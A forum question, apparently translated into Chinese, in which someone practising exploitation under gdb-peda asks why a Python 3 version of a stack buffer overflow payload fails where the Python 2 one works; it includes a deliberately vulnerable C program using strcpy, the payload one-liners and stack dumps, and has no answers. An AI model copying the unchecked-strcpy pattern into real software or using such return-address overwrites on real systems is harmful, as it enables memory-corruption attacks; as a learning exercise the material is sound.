Question

我正在尝试利用gdb和peda开发一个简单的缓冲区溢出，我只想用程序功能的地址重写返回地址，我可以使用python2轻松实现，但似乎无法实现python3，返回地址不会用正确的地址重写。

根据我已经进行的研究，编码是导致此问题的原因，因为python2使用ascii，而python3使用utf-8。我在这个网站上发现了一些对我没有帮助的东西：/

以下是易受攻击的应用程序的代码：

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <string.h>

void checkPassword();
void goodPassword();

int main(int argc, char **argv)
{
    printf("Debut du programme...\n");

    if (argc < 2)
    {
        printf("Necessite un argument\n");
        return 0;
    }

    printf("Appel de la fonction checkPassword\n");
    checkPassword(argv[1]);

    printf("Fin du programme\n");

}

void checkPassword(const char *arg)
{
    char password[64];

    strcpy(password, arg);

    if (strcmp(password, "fromage") == 0)
    {
        goodPassword();
    }
    else
    {
        printf("Mauvais mot de passe\n");
    }
}

void goodPassword() // This is the function I want to run, adress : 0x565562b2
{
    printf("Mot de passe correcte!\n");

}

这是我在python2中使用的漏洞

starti $(python2 -c 'print "A"*76 + "\xb2\x62\x55\x56".strip() ')

这是我在python3中使用的漏洞，栈带来了strcpy：

starti $(python3 -c 'print(b"A"*76 + b"\xb2\x62\x55\x56".strip() ')

gdb-peda$ x/24xw $esp
0xffffcc40:     0xffffcc50      0xffffcfa6      0xf7e2bca9      0x56556261
0xffffcc50:     0x41412762      0x41414141      0x41414141      0x41414141
0xffffcc60:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc70:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc80:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc90:     0x41414141      0x41414141      0x41414141      0x785c4141

我希望此输出：

gdb-peda$ x/24xw $esp
0xffffcc50:     0xffffcc60      0xffffcfac      0xf7e2bca9      0x56556261
0xffffcc60:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc70:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc80:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc90:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcca0:     0x41414141      0x41414141      0x41414141      0x565562b2

正常运行并运行goodPassword函数。感谢您的帮助

如何通过gdb（peda）正确使用python3

0 个答案: